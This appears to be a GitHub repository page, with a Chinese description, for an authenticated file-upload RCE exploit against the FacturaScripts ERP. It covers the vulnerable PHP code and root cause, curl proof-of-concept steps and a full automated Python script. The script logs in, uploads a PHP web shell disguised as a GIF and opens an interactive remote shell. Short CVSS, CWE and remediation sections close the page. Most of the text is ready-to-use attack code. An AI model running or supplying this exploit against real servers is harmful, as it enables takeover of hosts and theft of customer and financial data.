guzrex/FacturaScripts-RCE-Exploit

GitHub: guzrex/FacturaScripts-RCE-Exploit

一款针对 FacturaScripts ERP 系统认证后文件上传 RCE 漏洞的全自动利用工具,通过绕过 MIME 验证上传恶意 PHP 文件实现交互式命令执行。

Stars: 0 | Forks: 0

# FacturaScripts — 通过 unrestricted 文件上传实现认证 RCE ## 摘要 FacturaScripts 的产品图片上传功能中存在一个认证远程代码执行 (RCE) 漏洞。拥有有效凭据的攻击者可以上传伪装成 GIF 图片的 PHP 文件(使用 `GIF89a` 魔数头),从而绕过 MIME 类型验证。上传的文件存储在 Web 可访问的目录中,可以通过直接 HTTP 请求远程执行。 ## 漏洞详情 **文件:** `Core/Lib/ExtendedController/ProductImagesTrait.php` **方法:** `addImageAction()` ### 漏洞代码 ``` if (false === strpos($uploadFile->getMimeType(), 'image/')) { Tools::log()->error('file-not-supported'); continue; } $folder = Tools::folder('MyFiles'); Tools::folderCheckOrCreate($folder); $uploadFile->move($folder, $uploadFile->getClientOriginalName()); ``` ### 根本原因 - 验证仅检查 MIME 类型字符串是否包含 `"image/"`。 - 在 PHP 文件前添加 `GIF89a` 魔数会导致系统将其误识别为 `image/gif`。 - 文件保存时使用了**客户端提供的文件名**,保留了 `.php` 扩展名。 - 目标目录 (`/MyFiles/`) 是 Web 可访问的,允许直接远程执行。 ### 文件存储路径 上传的文件存储在: ``` /MyFiles/YYYY/MM/.php ``` 这允许通过以下方式直接执行: ``` http://target/MyFiles/2026/03/2.php?cmd=id ``` ## 影响 成功利用该漏洞允许经过认证的攻击者: - 在服务器上执行任意命令 - 完全控制主机系统 - 访问敏感 ERP 数据(客户、发票、财务记录) - 修改或删除服务器上的文件 - 在内部网络中进行横向移动 ## 概念验证(手动) ### 步骤 1 — 创建恶意文件 ``` cat > shell.jpg.php << 'EOF' GIF89a EOF ``` ### 步骤 2 — 认证 登录应用程序并从浏览器 Cookie 中提取 `PHPSESSID` 值。 ### 步骤 3 — 获取 CSRF Token ``` curl -s "http://target/EditProducto?code=CONTA621" \ -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \ | grep -o 'multireqtoken" value="[^"]*"' | cut -d'"' -f4 ``` ### 步骤 4 — 上传 Shell ``` curl -X POST "http://target/EditProducto?code=CONTA621" \ -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \ -F "multireqtoken=YOUR_CSRF_TOKEN" \ -F "action=add-image" \ -F "activetab=EditProductoImagen" \ -F "idproducto=3" \ -F "newfiles[]=@shell.jpg.php" ``` ### 步骤 5 — 执行命令 ``` curl "http://target/MyFiles/2026/03/2.php?cmd=id" ``` ## 自动化利用脚本 (Python) ``` #!/usr/bin/env python3 """ FacturaScripts RCE Exploit - Fully Automated Author: Abdullah Alwasabei / Guzrex Description: Automatically logs in, enumerates products, extracts tokens, and uploads shell Usage: python3 exploit.py http://target.com -u admin -p admin """ import requests import sys import os import re import time import argparse from bs4 import BeautifulSoup class FacturaScriptsExploit: def __init__(self, base_url, username, password): self.base_url = base_url.rstrip('/') self.username = username self.password = password self.session = requests.Session() self.session.headers.update({'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'}) self.token = None self.product_code = None self.product_id = None self.shell_url = None self.year = time.strftime("%Y") self.month = time.strftime("%m") def login(self): """Automatically login and get session""" print("[*] Attempting to login...") try: login_page = self.session.get(f"{self.base_url}/login") soup = BeautifulSoup(login_page.text, 'html.parser') token_input = soup.find('input', {'name': 'multireqtoken'}) if not token_input: print("[-] Could not find login token") return False csrf_token = token_input.get('value') login_data = { 'multireqtoken': csrf_token, 'action': 'login', 'fsNick': self.username, 'fsPassword': self.password } response = self.session.post(f"{self.base_url}/login", data=login_data) if response.status_code == 200 and 'Dashboard' in response.text: print("[+] Login successful!") return True else: print("[-] Login failed - check credentials") return False except Exception as e: print(f"[-] Login error: {e}") return False def enumerate_products(self): print("[*] Enumerating products...") try: response = self.session.get(f"{self.base_url}/ListProducto") soup = BeautifulSoup(response.text, 'html.parser') product_links = [] for link in soup.find_all('a', href=True): if 'EditProducto?code=' in link['href']: code = link['href'].split('code=')[-1] if code and code not in product_links: product_links.append(code) if product_links: print(f"[+] Found {len(product_links)} products") for i, code in enumerate(product_links[:5]): print(f" {i+1}. {code}") self.product_code = product_links[0] print(f"[+] Using product: {self.product_code}") return True else: self.product_code = "CONTA621" return True except Exception as e: self.product_code = "CONTA621" return True def get_product_id(self): print(f"[*] Getting product ID for {self.product_code}...") try: response = self.session.get(f"{self.base_url}/EditProducto?code={self.product_code}") soup = BeautifulSoup(response.text, 'html.parser') id_input = soup.find('input', {'name': 'idproducto'}) if id_input and id_input.get('value'): self.product_id = id_input.get('value') print(f"[+] Product ID: {self.product_id}") return True self.product_id = "3" print(f"[+] Using default product ID: {self.product_id}") return True except Exception as e: self.product_id = "3" return True def get_upload_token(self): print("[*] Getting upload token...") try: response = self.session.get(f"{self.base_url}/EditProducto?code={self.product_code}") token_pattern = r']*name="multireqtoken"[^>]*value="([^"]+)"' token_match = re.search(token_pattern, response.text) if token_match: self.token = token_match.group(1) print(f"[+] Got upload token") return True return False except Exception as e: return False def create_shell(self, output_file): shell_content = '''GIF89a ''' with open(output_file, 'w') as f: f.write(shell_content) return output_file def upload_shell(self, shell_file): print("[*] Uploading shell...") upload_data = { 'multireqtoken': self.token, 'action': 'add-image', 'activetab': 'EditProductoImagen', 'idproducto': self.product_id, 'referencia': '' } files = { 'newfiles[]': (os.path.basename(shell_file), open(shell_file, 'rb'), 'application/x-php') } try: response = self.session.post( f"{self.base_url}/EditProducto?code={self.product_code}", data=upload_data, files=files ) if "images added correctly" in response.text: print("[+] Shell uploaded successfully!") return True return False except Exception as e: return False def find_shell(self): print("[*] Locating uploaded shell...") for num in range(1, 10): test_url = f"{self.base_url}/MyFiles/{self.year}/{self.month}/{num}.php" try: response = self.session.get(f"{test_url}?cmd=echo test") if "SHELL_UPLOADED" in response.text: self.shell_url = test_url return test_url except: pass self.shell_url = f"{self.base_url}/MyFiles/{self.year}/{self.month}/1.php" return self.shell_url def execute_command(self, command): try: response = self.session.get(f"{self.shell_url}?cmd={command}") output = response.text output = output.replace("GIF89a", "").replace("SHELL_UPLOADED!", "").strip() return output except Exception as e: return str(e) def interactive_shell(self): print("\n==================================================") print("INTERACTIVE SHELL READY") print("Type 'exit' to quit\n") while True: try: cmd = input("$ ").strip() if cmd.lower() == 'exit': break if cmd: print(self.execute_command(cmd)) except KeyboardInterrupt: break def run(self): print("="*60) print("FacturaScripts RCE Exploit - Fully Automated") print("="*60) if not self.login(): return self.enumerate_products() self.get_product_id() if not self.get_upload_token(): return shell_file = self.create_shell(f"shell_{int(time.time())}.php") if not self.upload_shell(shell_file): return self.find_shell() print(f"[+] Shell URL: {self.shell_url}") result = self.execute_command("id") print(f"[+] Command output: {result}") self.interactive_shell() def main(): parser = argparse.ArgumentParser(description='FacturaScripts RCE Exploit') parser.add_argument('url', help='Target URL') parser.add_argument('-u', '--username', default='admin', help='Username') parser.add_argument('-p', '--password', default='admin', help='Password') args = parser.parse_args() exploit = FacturaScriptsExploit(args.url, args.username, args.password) exploit.run() if __name__ == "__main__": main() ``` ## CVSS v3.1 | 字段 | 值 | |--------------|-------| | **Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` | | **Base Score** | **10.0 (Critical)** | ## CWE | ID | 描述 | |----|-------------| | [CWE-434](https://cwe.mitre.org/data/definitions/434.html) | Unrestricted Upload of File with Dangerous Type | | [CWE-94](https://cwe.mitre.org/data/definitions/94.html) | Improper Control of Generation of Code ('Code Injection') | ## 受影响产品 | 字段 | 值 | |-------------------|-------| | **Ecosystem** | Packagist | | **Package** | `facturascripts/facturascripts` | | **Affected** | `<= 2025.81` | | **Patched** | Not yet patched | ## 修复建议 1. **验证文件扩展名** — 无论 MIME 类型如何,都应拒绝文件名以 `.php`、`.phtml`、`.phar` 或任何其他服务器可执行扩展名结尾的上传。 2. **服务端重命名文件** — 切勿将 `getClientOriginalName()` 用于存储的文件名。应分配一个基于 UUID 的名称,并使用经过验证的安全扩展名。 3. **将上传内容存储在 Web 根目录之外** — 通过控制器以流式传输方式提供文件,而不是通过 URL 直接暴露上传目录。 4. **严格验证文件内容** — 使用如 PHP 的 `fileinfo` 扩展之类的库来结合验证魔数、MIME 类型和扩展名 —— 切勿仅依赖单一检查。 ## 致谢 **发现者:** Abdullah Alwasabei / Guzrex
标签:CISA项目, ERP系统, FacturaScripts, PHP安全, PoC, RCE, Splunk, WebShell, 文件上传漏洞, 暴力破解, 未限制文件上传, 绕过MIME验证, 编程工具, 网络安全, 认证后漏洞, 足迹探测, 远程代码执行, 逆向工具, 隐私保护, 魔术头绕过